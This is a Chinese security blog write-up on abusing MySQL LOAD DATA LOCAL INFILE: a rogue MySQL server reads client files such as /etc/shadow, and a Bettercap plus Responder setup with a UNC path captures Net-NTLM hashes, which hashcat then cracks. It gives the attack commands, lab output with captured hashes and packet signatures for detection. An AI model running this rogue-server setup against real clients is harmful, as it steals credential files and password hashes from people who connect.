MySQL LOCAL INFILE客户端文件读取漏洞的利用

  • A+
所属分类:安全文章

 

备份链接:

https://pan.baidu.com/s/1dKQl5EHyNxuBuk22IKekyg 提取码: d434

作者:xlx

利用MySQL LOCAL INFILE我们可以伪造一个MySQL的服务端,向客户端回复 greeting package,当有客户端连接上假服务端的时候,我们可以任意读取客户端的一个文件(前提是客户端的用户具有读取该文件的权限)。

MySQL LOAD DATA INFILE过程

LOAD DATA INFILE 是用于读取客户端上的一个文件,并将其内容导入到一张表中。

在MySQL连接建立的阶段会有一个必要的步骤,即:

1、客户端和服务端交换各自功能

2、如果需要则创建 SSL 通信通道

3、服务端认证客户端身份

Wireshark 中抓取数据包,发现建立连接的步骤如下:

1、greeting包,获取服务端的 banner;

2、登录请求包,身份认证通过后,客户端会在实际操作之前发送请求,等待服务器的响应。“Client Capabilities”报文中包括名为Can Use LOAD DATA LOCAL的一个条目

3、大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,比如select @@version_comment limit 1之类。

4、LOAD DATA INFILE数据包

LOAD DATA LOCAL INFILE ‘C:\WINDOWS\system32\drivers\etc\hosts’ INTO TABLE test FIELDS TERMINATED BY ‘n’;读取hosts文件并写入test表中。

5、服务端回复了一个包含刚刚请求中文件名的包,这里把C:\WINDOWS\system32\drivers\etc\hosts又给发回去了。

6、客户端向服务端发送了C:\WINDOWS\system32\drivers\etc\hosts文件的内容

如果在客户端发送查询之后,返回一个Response TABULAR数据包,并附上我们指定的文件,就可以读取客户端的文件。

在MySQL协议中,客户端是不会存储自身请求的,而是通过服务端的响应来执行操作。

配合这两点就可以发现,我们可以恶意模拟MySQL服务端的身份认证过程,等待客户端的SQL查询,然后响应时返回一个 LOAD DATA 请求,客户端即根据响应内容上传了本机的文件。

形象一点的说就是下面这个样子:

客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!

服务端:OK,读取你本地 data.csv 文件并发给我!

客户端:这是文件内容:balabala!

正常情况下,这个流程不会有什么问题,但是如果我们制作了恶意的客户端,并且回复服务端任意一个我们想要获取的文件,那么情况就不一样了。

客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!

服务端:OK,读取你本地的C:WINDOWSsystem32driversetchosts文件并发给我!

客户端:这是文件内容:balabala!(hosts文件的内容)!

MySQL LOCAL INFILE漏洞利用POC

实验环境:

伪造mysql服务器:kali 192.168.231.153

受害者:Ubuntu 14.04 192.168.231.128

受害者:windows server 2003 192.168.231.134

Python实现的Poc: https://github.com/allyshka/Rogue-MySql-Server

Linux环境下mysql终端测试

Ubuntu通过mysql命令终端去连接伪造的mysql服务器192.168.231.153。

注意:Ubuntu 14.04+mysql-client-core-5.5进行测试,测试时发现未自动开启local-infile,需要添加–enable-local-infile标志才可以成功读取。

192.168.231.153的日志中记录成功读取了192.168.231.128的配置文件/etc/shadow。

流量特征

数据包的内容其实是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x0c是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。

Windows环境下mysql终端测试

Windows通过phpstudy自带的mysql 5.5.47命令行终端去连接伪造的mysql服务器192.168.231.153。

192.168.231.153的日志中记录成功读取了192.168.231.134的hosts配置文件。

流量特征

数据包的内容其实是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x26是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。

注意:MYSQL每次连接只能读取一个文件

Bettercap + responder获取windows Net-NTML hash

对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录。

Net-NTLM hash通常是指网络环境下NTLM认证中的hash,NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:

1、客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash

2、服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1

3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器

4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功

在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash。

INFILE格式同样支持UNC路径,如果我们的恶意MySQL服务器运行在Windows系统上,我们可以使用如下查询语句获取net-NTLM哈希值。

Bettercap 已经集成好了一个恶意的MySQL服务器,可以在 项目Wiki 中找到详细的说明,使用也非常简单。

Bettercap mysql.server使用参考链接:

https://www.bettercap.org/modules/ethernet/servers/mysql.server/

Bettercap mysql.server参数如下:

设置mysql.server.infile的UNC路径为\192.168.231.153test,开启mysql.server。

bettercap -eval “set mysql.server.infile \192.168.231.153test; mysql.server on”。

开启responder监听eth0 responder -I eth0 -v。

某受害者连接伪造mysql服务器192.168.231.153。

bettercap获取192.168.231.134输入的用户名。

responder成功获取net-ntlm

[SMB] NTLMv1-SSP Client : 192.168.231.134

[SMB] NTLMv1-SSP Username : ASUS-BDF33EEF85Administrator

[SMB] NTLMv1-SSP Hash : Administrator::ASUS-BDF33EEF85:D2EFC47B87D00F2600000000000000000000000000000000:1DD8B2A0CD07F7EFC6133D5C5A7307185DD64AEDAF60784C:5eb846708158b081

Hashcat尝试hash破解

hashcat -m 5500 Administrator::ASUS-BDF33EEF85:636B6DC58A2391A100000000000000000000000000000000:50B90B7833909F8014F9066A0CFB8716059E4164A4C12303:395ed1e039d0f5f8 -a 3 ?d?d?d?d?d?d -w 3 –force –show

使用场景

1、蜜罐场景

将Bettercap + responder部署到自己VPS上3306开放出去,黑客如果通过公网windows系统或者个人windows主机利用mysql客户端过来连接,只要对方开启了MySQL LOCAL INFILE则可以获取对方net-ntlm hash,结合hashcat可以获取破解对方的密码。

黑客如果通过公网Linux系统利用mysql客户端过来连接,只要对方开启了MySQL LOCAL INFILE则可以获取对方/etc/shadow文件,结合hashcat可以获取破解对方的密码。

2、应急场景

Linux环境应急中,找到被黑的服务器,在服务器中做好其他防护后,故意开放虚假的3306端口,可能获取到黑客的net-ntlm hash或者/etc/shadow密码文件。

防御与检测

MySQL LOAD DATA INFILE读取客户端上文件的过程,流量特征较为明显,数据包的内容总是是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x26是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。

参考链接:

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://www.bettercap.org/modules/ethernet/servers/mysql.server/

https://w00tsec.blogspot.com/2018/

https://github.com/lgandx/Responder

https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: